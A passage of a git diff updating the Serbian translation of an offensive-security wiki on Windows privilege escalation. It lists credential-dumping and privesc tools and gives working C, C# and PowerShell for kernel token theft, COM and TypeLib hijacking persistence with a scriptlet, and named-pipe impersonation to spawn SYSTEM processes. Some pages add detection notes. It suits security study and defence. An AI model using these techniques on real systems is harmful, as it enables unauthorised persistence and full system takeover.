ovde**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Proverava za misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Izvlači PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane session informacije. Koristite -Thorough lokalno.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Izvlači credentals iz Credential Manager-a. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray-uje prikupljene lozinke po domenu**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Proverava misconfigurations i sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detektovano.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Proverava neke moguće misconfigurations i prikuplja informacije (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Proverava misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstrahuje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane session informacije. Koristite -Thorough lokalno.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstrahuje kredencijale iz Credential Manager-a. Detektovano.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray-uje prikupljene lozinke kroz domen**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i man-in-the-middle alat.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna privesc Windows enumeracija**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Pretražuje poznate privesc ranjivosti (DEPRECATED za Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Zahteva Admin prava)** +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna Windows privesc enumeracija**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Traži poznate privesc ranjivosti (ZASTARELO, zamenjeno sa Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potreban Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Pretražuje poznate privesc ranjivosti (potrebno kompajlirati koristeći VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeriše host tražeći misconfigurations (više alat za prikupljanje informacija nego privesc) (potrebno kompajlirati) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Izvlači credentials iz mnogih softvera (precompiled exe na github-u)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Traži poznate privesc ranjivosti (treba kompajlirati koristeći VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeriše host tražeći misconfigurations (više alat za prikupljanje informacija nego za privesc) (treba kompajlirati) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na github-u)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp-a u C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Proverava za misconfigurations (precompiled executable na github-u). Nije preporučeno. Ne radi dobro na Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Proverava moguće misconfigurations (exe iz python-a). Nije preporučeno. Ne radi dobro na Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Proverava misconfigurations (izvršni fajl precompiled na github-u). Ne preporučuje se. Ne radi dobro na Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Proverava moguće misconfigurations (exe iz python-a). Ne preporučuje se. Ne radi dobro na Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat napravljen zasnovan na ovom postu (ne zahteva accesschk da bi radio pravilno ali ga može koristiti). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat napravljen na osnovu ovog posta (ne zahteva accesschk da bi radio ispravno ali ga može koristiti). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje radne exploite (lokalni python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje radne exploite (lokalni python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje radne exploit-e (lokalni python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje radne exploit-e (lokalni python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Morate kompajlirati projekat koristeći ispravnu verziju .NET ([pogledajte ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na victim hostu možete uraditi: +Treba da kompajlirate projekat koristeći odgovarajuću verziju .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvinom hostu možete uraditi: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Izvori +## Reference - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index 3703ca911..5b4338ac8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,35 +4,35 @@ ## Pregled -Ako ranjivi driver izlaže IOCTL koji napadaču daje proizvoljne kernel read i/ili write primitivе, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access tokena. Tehnika kopira Token pokazivač iz SYSTEM procesa’ EPROCESS u trenutni proces’ EPROCESS. +Ako ranjivi driver izlaže IOCTL koji omogućava napadaču arbitrary kernel read i/ili write primitive, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access token-a. Tehnika kopira Token pointer iz EPROCESS SYSTEM procesa u trenutni proces’ EPROCESS. Zašto radi: -- Svaki process ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu). -- SYSTEM proces (PID 4) drži token sa svim privilegijama uključenim. -- Zamena trenutnog process’ EPROCESS.Token sa SYSTEM token pokazivačem odmah čini da trenutni proces radi kao SYSTEM. +- Svaki proces ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu). +- SYSTEM proces (PID 4) poseduje token sa svim omogućenim privilegijama. +- Zamenom trenutnog procesa’ EPROCESS.Token sa SYSTEM token pointer-om, trenutni proces odmah radi kao SYSTEM. -> Offsets u EPROCESS variraju između verzija Windowsa. Odredite ih dinamički (symbols) ili koristite constants specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita su flagovi za reference count). +Napomena: Offsets u EPROCESS se razlikuju između verzija Windows-a. Odredite ih dinamički (symbols) ili koristite konstante specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita služe kao flagovi broja referenci). -## Koraci na visokom nivou +## Glavni koraci -1) Pronađite ntoskrnl.exe base i rešite adresu PsInitialSystemProcess. -- Iz user mode-a, koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete učitane driver baze. +1) Locirajte ntoskrnl.exe base i rešite adresu PsInitialSystemProcess. +- Iz user mode-a koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete baze učitanih drivere-a. - Dodajte offset PsInitialSystemProcess (iz symbols/reversing) na kernel base da biste dobili njegovu adresu. -2) Pročitajte pokazivač na PsInitialSystemProcess → ovo je kernel pokazivač na SYSTEM-ov EPROCESS. -3) Iz SYSTEM EPROCESS-a, pročitajte UniqueProcessId i ActiveProcessLinks offset-e da biste prešli dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba: +2) Pročitajte pointer na PsInitialSystemProcess → ovo je kernel pointer na SYSTEM-ov EPROCESS. +3) Iz SYSTEM EPROCESS-a, pročitajte offset-e UniqueProcessId i ActiveProcessLinks da biste prošli kroz dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba: - EPROCESS_SYSTEM (za SYSTEM) - EPROCESS_SELF (za trenutni proces) -4) Pročitajte SYSTEM token vrednost: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — 0xFFFFFFFFFFFFFFF8 maska). -5) Opcija A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog tokena i spojite ih na SYSTEM-ov pokazivač da biste održali ugrađeni ref count konzistentnim. +4) Pročitajte vrednost SYSTEM token-a: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — maska 0xFFFFFFFFFFFFFFF8). +5) Option A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog token-a i spojite ih na SYSTEM-ov pointer kako biste zadržali konzistentan embedded ref count. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) -6) Zapišite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitiv. -7) Vaš trenutni proces je sada SYSTEM. Po želji pokrenite novi cmd.exe ili powershell.exe da potvrdite. +6) Upíšite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitive. +7) Vaš trenutni proces je sada SYSTEM. Opcionalno pokrenite novi cmd.exe ili powershell.exe da potvrdite. ## Pseudokod -Ispod je kostur koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg drajvera. +Ispod je skelet koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg driver-a. ```c #include #include @@ -106,14 +106,14 @@ return 0; } ``` Napomene: -- Offseti: Koristite WinDbg’s `dt nt!_EPROCESS` sa ciljanim PDB-ovima, ili runtime symbol loader-om, da biste dobili ispravne offset-e. Nemojte ih slepo hardkodovati. -- Maska: Na x64 token je EX_FAST_REF; najniža 3 bita su bita za referentni brojač. Zadržavanje originalnih niskih bitova iz vašeg tokena izbegava neposredne refcount neusaglašenosti. -- Stabilnost: Poželjno je elevirati trenutni proces; ako elevirate kratkotrajnog helper-a, možete izgubiti SYSTEM kada on izađe. +- Offseti: Koristite WinDbg’s `dt nt!_EPROCESS` sa ciljnim PDB-ovima, ili runtime symbol loader-om, da dobijete tačne offsete. Nemojte ih slepo hardkodovati. +- Maska: Na x64 token je EX_FAST_REF; donja 3 bita su bitovi broja referenci. Zadržavanje originalnih donjih bitova iz vašeg token-a izbegava trenutne refcount neusklađenosti. +- Stabilnost: Poželjno je podići privilegije trenutnog procesa; ako podignete privilegije kratkotrajnog pomoćnog procesa, možete izgubiti SYSTEM kada se on zatvori. -## Otkrivanje i ublažavanje -- Učitavanje unsigned ili nepouzdanih third‑party drajvera koji otkrivaju moćne IOCTLs je osnovni uzrok. -- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i pravila Attack Surface Reduction mogu sprečiti učitavanje ranjivih drajvera. -- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i zamene tokena. +## Detekcija & mitigacija +- Učitavanje nepodpisanih ili nepoverljivih third‑party drajvera koji izlažu moćne IOCTLs je osnovni uzrok. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i Attack Surface Reduction pravila mogu sprečiti učitavanje ranjivih drajvera. +- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i token swaps. ## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index aaf05c9c9..cfca45a01 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -### Pretraga nepostojećih COM komponenti +### Traženje nepostojećih COM komponenti -Pošto korisnici mogu menjati vrednosti HKCU, **COM Hijacking** može biti iskorišćen kao **mehanizam za perzistenciju**. Koristeći `procmon` lako je pronaći tražene COM registries koje ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri: +Pošto vrednosti HKCU mogu biti izmenjene od strane korisnika, **COM Hijacking** se može koristiti kao **trajni mehanizam**. Korišćenjem `procmon` lako je pronaći pretraživane COM registry zapise koji ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri: - **RegOpenKey** operacije. - gde je _Result_ **NAME NOT FOUND**. -- i da _Path_ završava sa **InprocServer32**. +- i _Path_ se završava sa **InprocServer32**. -Kada odlučite koji nepostojeći COM ćete oponašati, izvršite sledeće komande. _Budite pažljivi ako odlučite da oponašate COM koji se učitava svakih nekoliko sekundi, jer to može biti previše._ +Kada odlučite koji nepostojeći COM želite da imitirate, izvršite sledeće komande. _Budite oprezni ako odlučite da imitirate COM koji se učitava na svakih nekoliko sekundi, jer to može biti preterano._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Hijackable Task Scheduler COM components -Windows Tasks koriste Custom Triggers za pozivanje COM objects, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti. +Windows Tasks koriste Custom Triggers za pozivanje COM objekata, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti. 
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-Proverom izlaza možete izabrati onaj koji će, na primer, biti izvršen **svaki put kada se korisnik prijavi**. +Proverom izlaza možete, na primer, odabrati onaj koji će se izvršavati **svaki put kada se korisnik prijavi**. -Sada, pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete utvrditi da vrednost ne postoji u HKCU. +Ako sada potražite CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete otkriti da ta vrednost ne postoji u HKCU. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -Zatim možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut. +Zatim možete jednostavno napraviti HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut. --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može učitati i pridruženi TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako se putanja TypeLib-a zameni sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši — što rezultira stealthy persistence koja se aktivira kada se dodirnu uobičajene komponente. +Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može takođe učitati povezani TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako je TypeLib putanja zamenjena sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši – što dovodi do stealthy persistence koja se aktivira kada su uobičajene komponente dodirnute. -Ovo je primećeno protiv Microsoft Web Browser control (često učitavan od Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`). +Ovo je primećeno protiv the Microsoft Web Browser control (često učitavanog od strane Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`). ### Koraci (PowerShell) -1) Pronađite TypeLib (LIBID) koji koristi CLSID koji se često pojavljuje. Primer CLSID koji malware chains često zloupotrebljavaju: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` +1) Identifikujte TypeLib (LIBID) koji koristi CLSID visoke frekvencije. Primer CLSID koji često zloupotrebljavaju malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) Усмерите per-user TypeLib путању на локални scriptlet користећи `script:` moniker (нису потребна администраторска права): +2) Usmerite per-user TypeLib putanju na lokalni scriptlet koristeći `script:` moniker (nije potrebna admin prava): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji se koristi u početnom lancu): +3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji je korišćen u inicijalnom lancu): ```xml @@ -114,7 +114,7 @@ sh.Run(cmd, 0, false); ``` -4) Aktiviranje – otvaranjem IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinskom aktivnošću Explorera učitaće se TypeLib i izvršiće se scriptlet, ponovo naoružavajući vaš lanac prilikom prijave/ponovnog pokretanja. +4) Pokretanje – otvaranje IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinska aktivnost Explorer-a će učitati TypeLib i izvršiti scriptlet, ponovo aktivirajući vaš lanac pri logon/reboot. Čišćenje ```powershell @@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Napomene -- Istu logiku možete primeniti na druge često korišćene COM komponente; uvek prvo odredite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`. -- Na 64-bitnim sistemima možete takođe popuniti podključ `win64` za 64-bitne aplikacije. +- Istu logiku možete primeniti na druge COM komponente koje se često koriste; uvek prvo razrešite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`. +- Na 64-bit sistemima takođe možete popuniti `win64` podključ za 64-bit potrošače. -## Reference +## References - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 92a23d3e6..98dcbaf45 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation je lokalni primitive za eskalaciju privilegija koji omogućava delu server niti named-pipe-a da prihvati sigurnosni kontekst klijenta koji se poveže na njega. U praksi, napadač koji može da izvršava kod sa SeImpersonatePrivilege može prinuditi privilegovani klijent (npr. SYSTEM service) da se poveže na pipe koji kontroliše napadač, pozove ImpersonateNamedPipeClient, duplicira dobijeni token u primary token i pokrene proces kao taj klijent (često NT AUTHORITY\SYSTEM). +Named Pipe client impersonation je primitiv za lokalno eskaliranje privilegija koji omogućava named-pipe server threadu da usvoji sigurnosni kontekst klijenta koji se poveže na njega. U praksi, napadač koji može da izvrši kod sa SeImpersonatePrivilege može da natera privilegovani klijent (npr. SYSTEM servis) da se poveže na pipe pod kontrolom napadača, pozove ImpersonateNamedPipeClient, duplicate-uje dobijeni token u primary token i pokrene proces kao taj klijent (često NT AUTHORITY\SYSTEM). -Ova stranica se fokusira na samu tehniku. Za end-to-end exploit lancеve koji primoravaju SYSTEM da se poveže na vaš pipe, pogledajte Potato family stranice referencirane ispod. +Ova stranica se fokusira na osnovnu tehniku. Za end-to-end exploit lanće koji prisiljavaju SYSTEM da se poveže na vaš pipe, pogledajte Potato family stranice navedene dalje. ## TL;DR -- Kreirajte named pipe: \\.\pipe\ i čekajte konekciju. -- Naterajte privilegovanu komponentu da se poveže na njega (spooler/DCOM/EFSRPC/etc.). +- Kreirajte named pipe: \\.\pipe\ i sačekajte konekciju. +- Naterajte privilegovanu komponentu da se poveže na njega (spooler/DCOM/EFSRPC/itd.). - Pročitajte bar jednu poruku iz pipe-a, pa pozovite ImpersonateNamedPipeClient. -- Otvorite impersonation token iz tekućeg threada, DuplicateTokenEx(TokenPrimary) i CreateProcessWithTokenW/CreateProcessAsUser da dobijete SYSTEM proces. +- Otvorite impersonation token sa trenutnog threada, DuplicateTokenEx(TokenPrimary) i koristite CreateProcessWithTokenW/CreateProcessAsUser da dobijete SYSTEM proces. ## Requirements and key APIs -- Privileges koje obično treba imati pozivajući proces/thread: -- SeImpersonatePrivilege da uspešno impersonirate konektovanog klijenta i da koristite CreateProcessWithTokenW. -- Alternativno, nakon impersoniranja SYSTEM-a, možete koristiti CreateProcessAsUser, što može zahtevati SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (ovo je zadovoljeno dok impersonirate SYSTEM). +- Privileges koji su obično potrebni procesu/threadu koji poziva: +- SeImpersonatePrivilege da biste uspešno impersonirali povezani klijent i da biste koristili CreateProcessWithTokenW. +- Alternativno, nakon impersonacije SYSTEM-a možete koristiti CreateProcessAsUser, što može zahtevati SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (ovo je zadovoljeno kada impersonirate SYSTEM). - Core APIs koji se koriste: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (mora se pročitati bar jedna poruka pre impersonacije) +- ReadFile/WriteFile (neophodno je pročitati najmanje jednu poruku pre impersonacije) - ImpersonateNamedPipeClient i RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) -- CreateProcessWithTokenW ili CreateProcessAsUser -- Imersonation level: da biste izveli korisne akcije lokalno, klijent mora dozvoliti SecurityImpersonation (podrazumevano za mnoge lokalne RPC/named-pipe klijente). Klijenti mogu smanjiti ovo korišćenjem SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION pri otvaranju pipe-a. +- CreateProcessWithTokenW or CreateProcessAsUser +- Impersonation level: da biste izvršavali korisne akcije lokalno, klijent mora dozvoliti SecurityImpersonation (podrazumevano za mnoge lokalne RPC/named-pipe klijente). Klijenti mogu smanjiti ovo korišćenjem SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION pri otvaranju pipe-a. ## Minimal Win32 workflow (C) ```c @@ -69,11 +69,11 @@ return 0; } ``` Napomene: -- Ako ImpersonateNamedPipeClient vrati ERROR_CANNOT_IMPERSONATE (1368), pobrinite se da najpre pročitate iz pipe i da klijent nije ograničio impersonaciju na Identification level. -- Preferirajte DuplicateTokenEx sa SecurityImpersonation i TokenPrimary da biste kreirali primary token pogodan za pokretanje procesa. +- Ako ImpersonateNamedPipeClient vrati ERROR_CANNOT_IMPERSONATE (1368), obavezno prvo pročitajte iz pipe-a i proverite da klijent nije ograničio impersonation na Identification level. +- Preporučuje se korišćenje DuplicateTokenEx sa SecurityImpersonation i TokenPrimary da biste kreirali primary token pogodan za kreiranje procesa. -## .NET kratak primer -U .NET-u, NamedPipeServerStream može da impersonira preko RunAsClient. Kada impersonirate, duplicirajte thread token i kreirajte proces. +## .NET brzi primer +U .NET-u, NamedPipeServerStream može da izvrši impersonation preko RunAsClient. Kada je u impersonation kontekstu, duplicirajte thread token i kreirajte proces. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Uobičajeni okidači/prisiljavanja da dovedete SYSTEM do vašeg named pipe -Ove tehnike prouzrokuju da privilegovani servisi uspostave konekciju na vaš named pipe tako da možete da ih impersonirate: +## Uobičajeni okidači/prisiljavanja da SYSTEM dođe do vašeg named pipe-a +Ove tehnike prisiljavaju privilegovane servise da se povežu na vaš named pipe tako da možete da preuzmete njihov identitet: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) -Pogledajte detaljnu upotrebu i kompatibilnost ovde: +Pogledajte detaljno korišćenje i kompatibilnost ovde: - {{#ref}} @@ -110,7 +110,7 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -Ako vam treba kompletan primer kreiranja pipe-a i impersonacije da spawn-ujete SYSTEM iz service okidača, pogledajte: +Ako vam treba kompletan primer kreiranja pipe-a i preuzimanja impersonacije da pokrenete proces kao SYSTEM iz okidača servisa, pogledajte: - {{#ref}} @@ -119,18 +119,18 @@ from-high-integrity-to-system-with-name-pipes.md ## Otklanjanje problema i zamke - Morate pročitati bar jednu poruku iz pipe-a pre poziva ImpersonateNamedPipeClient; inače ćete dobiti ERROR_CANNOT_IMPERSONATE (1368). -- Ako se klijent poveže koristeći SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server ne može u potpunosti impersonirati; proverite nivo impersonacije tokena preko GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW zahteva SeImpersonatePrivilege na pozivaocu. Ako to padne sa ERROR_PRIVILEGE_NOT_HELD (1314), koristite CreateProcessAsUser nakon što ste već impersonirali SYSTEM. -- Obezbedite da security descriptor vašeg pipe-a dozvoljava ciljnom servisu da se poveže ako ga učvrstite; podrazumevano su pipe-ovi pod \\.\pipe dostupni u skladu sa DACL servera. +- Ako se klijent poveže sa SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server ne može u potpunosti da impersonira; proverite nivo impersonacije tokena pomoću GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW zahteva SeImpersonatePrivilege na pozivaocu. Ako to ne uspe sa ERROR_PRIVILEGE_NOT_HELD (1314), koristite CreateProcessAsUser nakon što ste već impersonirali SYSTEM. +- Obezbedite da security descriptor vašeg pipe-a dozvoljava ciljnom servisu da se poveže ako ga dodatno ojačate; po defaultu, pipe-ovi pod \\.\pipe su dostupni u skladu sa serverovim DACL. -## Detekcija i hardening -- Pratite kreiranje i konekcije named pipe-ova. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) su korisni za baseline legitimnih imena pipe-ova i detekciju 